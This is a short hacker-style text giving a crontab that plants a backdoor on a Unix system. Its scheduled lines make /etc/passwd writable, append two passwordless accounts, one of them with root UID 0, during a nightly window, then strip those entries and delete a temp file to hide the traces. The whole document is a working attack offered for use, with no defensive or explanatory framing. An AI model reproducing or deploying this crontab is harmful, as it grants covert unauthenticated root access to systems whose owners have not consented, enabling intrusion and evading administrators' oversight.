Append this crontab to the regular crontab and that will create a backdoor. Between 1 am and 2 am, two accounts with the names "prop" and prop2" will be created. "prop" will a be a normal user while "prop2" will have root (complete) access. ----------------------------------------------------------------------------- 0 1 * * * chmod +w /etc/passwd 1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd 2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd 20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p 0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd 10 2 * * * chmod -w /etc/passwd 15 2 * * * rm /usr/spool/uucppublic/.p
